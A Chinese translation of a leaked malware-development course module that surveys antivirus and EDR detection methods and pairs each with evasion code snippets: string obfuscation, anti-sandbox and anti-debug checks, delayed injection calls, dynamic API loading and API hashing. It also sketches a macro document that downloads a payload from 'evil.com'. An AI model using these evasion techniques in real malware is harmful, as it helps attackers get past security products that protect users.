0%
毅种循环

模块 10 - 检测机制

恶意软件开发课程 - 检测机制


模块 10 - 检测机制#

[!IMPORTANT] 本知识库声明

本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示实践心得

  1. 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
  2. 版权归属:原始知识产权归原作者/官方所有。
  3. 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程
  4. 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。

检测机制#

简介#

安全解决方案使用多种技术来检测恶意软件。了解安全解决方案用来检测或将软件归类为恶意软件的技术非常重要。

💡 初学者提示:为什么要学习检测机制?

攻防双方的博弈:

攻击方(恶意软件开发)   ⚔️   防守方(安全产品)
└─ 需要了解如何被检测    ←→  └─ 需要了解攻击手法
plaintext

了解检测机制的好处:

  1. 红队/渗透测试:开发绕过安全产品的工具
  2. 蓝队/防守:理解攻击者如何绕过检测
  3. 安全开发:编写不被误报的正常软件
  4. 学习路径:知道如何提升自己的技术

本模块涵盖的检测类型:

  • 静态检测(不运行程序)
  • 动态检测(沙箱)
  • 行为检测(运行时监控)
  • API钩子
  • IAT检查

静态/签名检测#

签名是恶意软件中的若干字节或字符串,可以唯一标识它。还可以指定其他条件,例如变量名和导入的函数。一旦安全解决方案扫描程序,它就会尝试将其与已知规则列表进行匹配。这些规则必须预先构建并推送到安全解决方案。YARA 是安全供应商用来构建检测规则的一种工具。例如,如果 shellcode 包含以 FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51 开头的字节序列,则可以使用它来检测 payload 是 Msfvenom 的 x64 exec payload。相同的检测机制可以用于文件中的字符串。

签名检测很容易绕过,但可能很耗时。重要的是要避免在恶意软件中硬编码可用于唯一标识实现的值。本课程中提供的代码试图避免硬编码可以硬编码的值,而是动态检索或计算值。

📚 知识扩展:签名检测详解

什么是签名?

就像病毒的"指纹":
- 独特的字节序列
- 特定的字符串
- 特殊的代码模式
plaintext

YARA规则示例:

常见的签名类型:

签名类型示例绕过方法
字节序列FC 48 83...改变指令顺序、添加垃圾指令
字符串"cmd.exe"加密字符串、动态构建
函数名VirtualAlloc动态加载、API hashing
文件哈希MD5/SHA改变任意一个字节

对比表:硬编码 vs 动态生成

❌ 容易被检测(硬编码):

// 硬编码IP地址
char* c2Server = "192.168.1.100";

// 硬编码命令
system("cmd.exe /c dir");

// 硬编码API
VirtualAlloc(...);
c

✅ 难以检测(动态生成):

// 动态解密IP
char c2Server[16];
DecryptString(encryptedIP, c2Server);

// 动态构建命令
char cmd[100];
sprintf(cmd, "%s.exe /%c %s", "cmd", 'c', "dir");
system(cmd);

// 动态获取API
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
FARPROC pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc");
c

实战示例:字符串混淆

// ❌ 明文字符串 - 容易被检测
char* command = "powershell.exe";

// ✅ XOR 加密
unsigned char enc[] = {0x70, 0x6F, 0x77, ...};  // 加密的
char command[20];
for (int i = 0; i < sizeof(enc); i++) {
    command[i] = enc[i] ^ 0x42;  // XOR解密
}

// ✅ Base64 + XOR
const char* b64 = "cG93ZXJzaGVsbC5leGU=";
char* decoded = Base64Decode(b64);
XorDecrypt(decoded, key);
c

哈希检测#

哈希检测是静态/签名检测的子集。这是一种非常直接的检测技术,这是安全解决方案可以检测恶意软件的最快和最简单的方法。此方法只需在数据库中保存已知恶意软件的哈希值(例如 MD5、SHA256)即可完成。恶意软件的文件哈希将与安全解决方案的哈希数据库进行比较,以查看是否有正匹配。

绕过哈希检测非常简单,尽管仅靠它可能不够。通过更改文件中的至少 1 个字节,文件哈希将对任何哈希算法更改,因此该文件将具有可能是唯一的文件哈希。

💡 初学者提示:哈希检测原理

哈希函数的特性:

输入:"Hello World"
MD5:  5eb63bbbe01eeed093cb22bb8f5acdc3

输入:"Hello World!"  (只改了一个字符)
MD5:  ed076287532e86365e841e92bfc50d8c

完全不同的哈希值!
plaintext

检测流程:

1. AV扫描文件
2. 计算文件的MD5/SHA256
3. 查询病毒库中的已知哈希
4. 如果匹配 → 检测到病毒!
plaintext

为什么容易绕过?

// 原始文件 (1000字节)
unsigned char payload[] = {0x90, 0x90, ...};
// MD5: a1b2c3d4e5f6...

// 改变一个字节
payload[999] = 0x91;  // 原来是0x90
// MD5: z9y8x7w6v5u4...  (完全不同!)
c

绕过方法:

方法1:添加随机数据

// 在文件末尾添加随机字节
unsigned char randomData[100];
for (int i = 0; i < 100; i++) {
    randomData[i] = rand() % 256;
}
WriteFile(hFile, randomData, 100, ...);
c

方法2:修改资源

// 修改PE文件的资源节
// - 改变图标
// - 添加/删除版本信息
// - 修改字符串资源
c

方法3:重新编译

每次编译都会生成不同的哈希:
- 时间戳不同
- 链接器可能改变代码顺序
- Debug信息不同
plaintext

VirusTotal查询演示:

# 计算文件哈希
certutil -hashfile malware.exe SHA256

# 上传到 VirusTotal.com 查询
# 如果找到 → 已被标记
# 如果没找到 → 未知样本(可能bypass)
bash

启发式检测#

由于签名检测方法很容易通过对恶意文件的微小更改来规避,因此引入了启发式检测来发现可以在未知、新的和现有恶意软件的修改版本中找到的可疑特征。根据安全解决方案,启发式模型可以由以下一项或两项组成:

  • 静态启发式分析 - 涉及反编译可疑程序并将代码片段与已知的恶意软件进行比较,这些恶意软件已经已知并且在启发式数据库中。如果源代码的特定百分比与启发式数据库中的任何内容匹配,则程序将被标记。
  • 动态启发式分析 - 程序被放置在虚拟环境或沙箱中,然后由安全解决方案分析是否有任何可疑行为。

📚 知识扩展:启发式检测详解

启发式 vs 签名检测:

特性签名检测启发式检测
检测方式精确匹配模式识别
已知威胁✅ 准确✅ 准确
未知威胁❌ 无法检测✅ 可能检测
误报率较高
速度较慢

静态启发式示例:

动态启发式(沙箱)触发器:

行为1:创建多个进程
└→ 可疑等级:⭐⭐

行为2:修改注册表启动项
└→ 可疑等级:⭐⭐⭐

行为3:连接到远程IP
└→ 可疑等级:⭐⭐⭐

行为4:进程注入 + 网络通信
└→ 可疑等级:⭐⭐⭐⭐⭐ (极高)
plaintext

启发式评分示例:

样本分析结果:
[+] 使用 VirtualAlloc          +5分
[+] 修改内存保护               +10分
[+] 创建远程线程               +15分
[+] 加密字符串                 +5分
[+] 无数字签名                 +10分
[+] 连接到可疑IP               +20分
─────────────────────────────
总分:65分

阈值:
< 30分  → 良性
30-50分 → 可疑
> 50分  → 恶意 ⚠️
plaintext

动态启发式分析(沙箱检测)#

沙箱检测通过在沙箱环境中执行文件来动态分析文件的行为。在执行文件时,安全解决方案将查找可疑操作或被归类为恶意的操作。例如,分配内存本身不一定是恶意操作,但分配内存、连接到互联网以获取 shellcode、将 shellcode 写入内存并按该顺序执行它被认为是恶意行为。

恶意软件开发人员将嵌入反沙箱技术来检测沙箱环境。如果恶意软件确认它正在沙箱中执行,那么它会执行良性代码,否则,它会执行恶意代码。

💡 初学者提示:沙箱检测详解

沙箱是什么?

沙箱 = 隔离的虚拟环境

真实系统                 沙箱环境
├── 真实文件              ├── 模拟文件
├── 真实网络              ├── 监控网络
├── 真实进程              ├── 监控进程
└── 持久化更改            └── 一次性(重置)
plaintext

沙箱监控什么?

恶意行为序列示例:

[时间轴]

T+0秒:  程序启动
T+1秒:  VirtualAlloc(4096, RWX)             ⚠️ 可疑
T+2秒:  Connect("malicious.com:443")        ⚠️ 可疑
T+3秒:  Recv(shellcode, 4096)               ⚠️⚠️ 高度可疑
T+4秒:  memcpy(allocated, shellcode, 4096)  
T+5秒:  CreateThread(allocated, ...)        ⚠️⚠️⚠️ 恶意!

决定:🚫 阻止并隔离!
plaintext

反沙箱技术(后续模块详解):

检测1:时间检测

// 沙箱通常运行时间短
DWORD uptime = GetTickCount();
if (uptime < 600000) {  // 少于10分钟
    ExitProcess(0);  // 可能是沙箱,退出
}
c

检测2:资源检测

// 沙箱通常资源有限
MEMORYSTATUSEX memInfo;
GlobalMemoryStatusEx(&memInfo);

if (memInfo.ullTotalPhys < 4GB) {
    ExitProcess(0);  // 内存太小,可能是沙箱
}
c

检测3:用户活动检测

// 沙箱没有真实用户操作
POINT cursor1, cursor2;
GetCursorPos(&cursor1);
Sleep(1000);
GetCursorPos(&cursor2);

if (cursor1.x == cursor2.x && cursor1.y == cursor2.y) {
    ExitProcess(0);  // 鼠标未动,可能是沙箱
}
c

检测4:虚拟机特征

// 检查虚拟机厂商
char vendor[13] = {0};
__cpuid(..., vendor);

if (strstr(vendor, "VMware") || 
    strstr(vendor, "VBox")) {
    ExitProcess(0);  // 检测到虚拟机
}
c

基于行为的检测#

一旦恶意软件正在运行,安全解决方案将继续寻找正在运行的进程所犯下的可疑行为。安全解决方案将寻找可疑指标,例如加载 DLL、调用某个 Windows API 和连接到互联网。一旦检测到可疑行为,安全解决方案将对正在运行的进程进行内存扫描。如果确定该进程是恶意的,则将其终止。

某些操作可能会在不执行内存扫描的情况下立即终止进程。例如,如果恶意软件对 notepad.exe 执行进程注入并连接到互联网,这可能会导致进程立即终止,因为这很可能是恶意活动。

避免基于行为的检测的最佳方法是使进程的行为尽可能无害(例如避免生成 cmd.exe 子进程)。此外,可以通过内存加密来规避内存扫描。这是一个更高级的主题,将在未来的模块中讨论。

📚 知识扩展:行为检测详解

行为检测的工作原理:

EDR/AV 持续监控运行中的进程:

1. 进程启动 → 建立基线
2. API调用   → 实时分析
3. 内存操作 → 检测异常
4. 网络活动 → 识别C2
5. 可疑行为 → 内存扫描
6. 确认恶意 → 终止进程
plaintext

常见的可疑行为:

行为风险等级示例
创建子进程⭐⭐word.exe → cmd.exe
DLL注入⭐⭐⭐⭐注入到 explorer.exe
进程空心化⭐⭐⭐⭐⭐替换合法进程代码
修改启动项⭐⭐⭐添加注册表Run键
连接C2⭐⭐⭐⭐⭐回连到攻击者服务器
加密文件⭐⭐⭐⭐⭐勒索软件行为
禁用防火墙⭐⭐⭐⭐降低系统防护

实际案例:

案例1:正常Word文档 vs 钓鱼文档

正常Word (winword.exe):
1. 加载 msvcr120.dll
2. 读取 document.docx
3. 渲染文字
4. 等待用户输入
→ ✅ 正常行为

钓鱼Word (winword.exe):
1. 加载 msvcr120.dll
2. 读取 malicious.docx
3. 执行宏代码
4. 创建进程: powershell.exe          ⚠️
5. powershell下载: http://evil.com    ⚠️⚠️
6. 执行下载的payload                 ⚠️⚠️⚠️
→ 🚫 恶意行为!
plaintext

案例2:合法程序 vs 进程注入

普通程序:
myapp.exe
└─ LoadLibrary("user32.dll")
└─ MessageBox(...)
→ ✅ 正常

恶意程序:
malware.exe
├─ OpenProcess(explorer.exe)           ⚠️
├─ VirtualAllocEx(explorer.exe)        ⚠️⚠️
├─ WriteProcessMemory(shellcode)       ⚠️⚠️⚠️
└─ CreateRemoteThread(shellcode)       🚫 终止!
plaintext

绕过行为检测的技巧:

技巧1:模仿正常行为

// ❌ 可疑:直接创建cmd
system("cmd.exe /c whoami");

// ✅ 更隐蔽:使用WMI
IWbemServices* pServices = ...;
pServices->ExecQuery("SELECT * FROM Win32_Process WHERE Name='explorer.exe'");
c

技巧2:延迟执行

// 避免立即触发
Sleep(60000 * 10);  // 等待10分钟
// 然后再执行恶意操作
c

技巧3:分散操作

// 不要连续执行多个可疑操作
VirtualAlloc(...);
Sleep(5000);  // 延迟
// ... 做一些正常操作
WriteProcessMemory(...);
Sleep(5000);
CreateRemoteThread(...);
c

API 钩子#

API 钩子 (API Hooking) 是安全解决方案使用的一种技术,主要是 EDR,用于实时监控进程或代码执行的恶意行为。API 钩子通过拦截常被滥用的 API,然后实时分析这些 API 的参数来工作。这是一种强大的检测方式,因为它允许安全解决方案在去混淆或解密后查看传递给 API 的内容。这种检测被认为是实时和基于行为的检测的结合。

下图显示了 API 钩子的高级别视图。

图片
图片

有几种绕过 API 钩子的方法,例如 DLL unhooking 和直接系统调用。这些主题将在未来的模块中涵盖。

📚 知识扩展:API Hooking 详解

API Hooking 原理:

正常调用流程:

你的程序:
CreateFile(...) 

kernel32.dll!CreateFile

NTDLL.dll!NtCreateFile

内核 (ntoskrnl.exe)
plaintext

被Hook的调用流程:

你的程序:
CreateFile(...) 

kernel32.dll!CreateFile (被修改!)

💉 EDR的Hook函数:
   - 记录参数
   - 分析是否可疑
   - 决定是否阻止

kernel32.dll!CreateFile (原始代码)

NTDLL.dll!NtCreateFile

内核
plaintext

Hook实现方式:

1. Inline Hook(内联钩子):

// 原始 CreateFile 函数开头:
48 89 5C 24 08  mov [rsp+8], rbx
48 89 74 24 10  mov [rsp+10], rsi
...

// 被Hook后:
E9 XX XX XX XX  jmp HookFunction  // 跳转到EDR函数
...             (原始代码被覆盖)

// HookFunction(EDR):
- 记录调用
- 检查参数
- 执行原始代码
- 返回
c

2. IAT Hook(导入表钩子):

// 修改IAT中的地址
原始IAT:
CreateFile → 0x7FF900001000 (kernel32中的真实地址)

Hook后:
CreateFile → 0x12340000 (EDR的Hook函数)
c

被Hook的常见API:

检测Hook的方法:

绕过Hook的方法(后续模块详解):

方法1:Unhooking

// 从磁盘重新加载干净的DLL
// 覆盖被Hook的函数
c

方法2:直接系统调用

// 跳过ntdll的Hook
// 直接调用syscall指令
c

方法3:使用未Hook的API

// 使用Native API代替WinAPI
NtCreateFile() 代替 CreateFile()
c

IAT 检查#

在 PE 结构中讨论的组件之一是导入地址表或 IAT。简要总结 IAT 的功能,它包含 PE 在运行时使用的函数名称。它还包含导出这些函数的库 (DLL)。这些信息对安全解决方案很有价值,因为它知道可执行文件正在使用哪些 WinAPI。

例如,勒索软件用于加密文件,因此它可能会使用加密和文件管理功能。当安全解决方案看到 IAT 包含这些类型的函数(例如 CreateFileA/W、SetFilePointer、Read/WriteFile、CryptCreateHash、CryptHashData、CryptGetHashParam)时,则程序要么被标记,要么对其进行额外的审查。下图显示了使用 dumpbin.exe 工具检查二进制文件的 IAT。

图片
图片

规避 IAT 扫描的一种解决方案是使用 API 哈希,这将在未来的模块中讨论。

💡 初学者提示:IAT检查详解

什么是IAT?

IAT = 程序的"购物清单"

列出了所有需要从其他DLL导入的函数:
- kernel32.dll
  ├─ CreateFileW
  ├─ WriteFile
  └─ CloseHandle
- advapi32.dll
  ├─ CryptCreateHash
  └─ CryptHashData
plaintext

AV如何使用IAT检测恶意软件:

案例1:正常程序

notepad.exe 的IAT:
- CreateFileW      (打开文件)
- ReadFile         (读取文本)
- WriteFile        (保存文本)
- MessageBox       (显示对话框)

→ ✅ 正常的文本编辑器行为
plaintext

案例2:可疑程序

suspicious.exe 的IAT:
- VirtualAllocEx      ⚠️ (远程内存分配)
- WriteProcessMemory  ⚠️ (写入其他进程)
- CreateRemoteThread  ⚠️ (远程线程注入)
- InternetOpen        ⚠️ (网络连接)

→ 🚫 典型的进程注入 + C2通信模式!
plaintext

案例3:勒索软件特征

查看IAT的工具:

1. dumpbin(Visual Studio自带):

dumpbin /imports program.exe

# 输出示例:
kernel32.dll
    1000 CreateFileW
    1001 ReadFile
    1002 WriteFile

advapi32.dll
    2000 CryptAcquireContext
    2001 CryptEncrypt
bash

2. PE-Bear (图形化):

- 打开 PE-Bear
- 加载 .exe 文件
- 查看 "Imports" 标签
- 看到所有导入的函数
plaintext

3. 编程方式:

PIMAGE_IMPORT_DESCRIPTOR pImportDesc = ...;

while (pImportDesc->Name) {
    char* dllName = (char*)((ULONG_PTR)baseAddr + pImportDesc->Name);
    printf("DLL: %s\n", dllName);
    
    PIMAGE_THUNK_DATA pThunk = ...;
    while (pThunk->u1.AddressOfData) {
        PIMAGE_IMPORT_BY_NAME pImport = ...;
        printf("  - %s\n", pImport->Name);
        pThunk++;
    }
    pImportDesc++;
}
c

绕过IAT检测:

方法1:动态加载(本模块学过)

// ❌ 静态导入 - 出现在IAT中
#pragma comment(lib, "advapi32.lib")
CryptAcquireContext(...);

// ✅ 动态加载 - 不在IAT中
HMODULE hAdvapi = LoadLibrary(L"advapi32.dll");
fnCryptAcquireContext pFunc = (fnCryptAcquireContext)
    GetProcAddress(hAdvapi, "CryptAcquireContextW");
pFunc(...);
c

方法2:API Hashing(后续模块)

// 不直接使用函数名,而是用哈希值
DWORD hash = 0x12345678;  // "VirtualAlloc"的哈希
FARPROC pFunc = GetProcAddressByHash(hKernel32, hash);

// IAT 中只显示 GetModuleHandle 和自定义函数
c

方法3:直接系统调用

// 完全绕过IAT,直接syscall
// 不调用任何WinAPI
c

手动分析#

尽管绕过了上述所有检测机制,蓝队和恶意软件分析师仍然可以手动分析恶意软件。精通恶意软件逆向工程的防御者可能能够检测到恶意软件。此外,安全解决方案通常会将可疑文件的副本发送到云端进行进一步分析。

恶意软件开发人员可以实现反逆向技术,以使逆向工程过程更加困难。一些技术包括调试器检测和虚拟化环境检测,这些将在未来的模块中讨论。

📚 知识扩展:对抗手动分析

手动分析的流程:

1. 静态分析
   └─ 查看字符串、IAT、资源
   └─ 反汇编代码
   └─ 识别加壳/混淆

2. 动态分析
   └─ 调试器运行
   └─ 监控API调用
   └─ 观察行为

3. 内存分析
   └─ Dump内存
   └─ 查找解密的Payload
   └─ 提取配置
plaintext

反分析技术预览:

1. 反调试:

// 检测调试器
if (IsDebuggerPresent()) {
    ExitProcess(0);
}

// 检测硬件断点
CONTEXT ctx;
GetThreadContext(GetCurrentThread(), &ctx);
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) {
    ExitProcess(0);  // 检测到断点!
}
c

2. 反虚拟机:

// 检查VM特征
CheckVMFiles();      // 查找VM工具文件
CheckVMRegistry();   // 检查VM注册表项
CheckVMProcesses();  // 查找VM进程
c

3. 代码混淆:

// 使分析更困难
- 控制流平坦化
- 垃圾指令插入
- 字符串加密
- 反汇编器对抗
c

4. 时间炸弹:

// 延迟执行
if (GetCurrentTime() < targetDate) {
    ExitProcess(0);  // 还没到激活时间
}
c

🎯 本模块学习要点

检测机制总结:

检测类型检测时机绕过难度绕过方法
文件Hash静态⭐ 非常容易改变任意字节
签名检测静态⭐⭐ 容易避免硬编码、混淆
启发式静态/动态⭐⭐⭐ 中等模仿正常行为
沙箱动态⭐⭐⭐ 中等反沙箱技术
行为检测运行时⭐⭐⭐⭐ 困难分散操作、延迟
API Hook运行时⭐⭐⭐⭐ 困难Unhook、Syscall
IAT检查静态⭐⭐⭐ 中等动态加载、API Hash
手动分析任意⭐⭐⭐⭐⭐ 极难反调试、混淆

关键概念:

  1. ✅ 没有单一的”完美绕过”方法
  2. ✅ 需要组合多种技术
  3. ✅ 了解检测原理才能绕过
  4. ✅ 攻防是持续的博弈过程

后续模块预告:

  • API Hashing(绕过IAT检查)
  • Direct Syscalls(绕过API Hook)
  • DLL Unhooking(移除Hook)
  • 反调试技术(对抗手动分析)
  • 反虚拟机技术(检测沙箱)
  • 内存加密(绕过内存扫描)
  • 混淆技术(对抗静态分析)

学习建议:

  1. 在虚拟机中实验各种检测
  2. 使用 Process Hacker 观察行为
  3. 尝试编写简单的绕过代码
  4. 理解攻防双方的思路

重要提醒:

⚠️ 本课程仅用于教育目的

  • 仅在授权环境中测试
  • 遵守法律法规
  • 用于提升防御能力
  • 负责任地使用知识

🎉 恭喜完成前10个基础模块!

你已经学习了:

  • Windows架构和内存管理
  • Windows API和PE文件格式
  • DLL和动态链接
  • 检测机制和绕过思路

下一步: 准备进入中级模块,学习实战技术!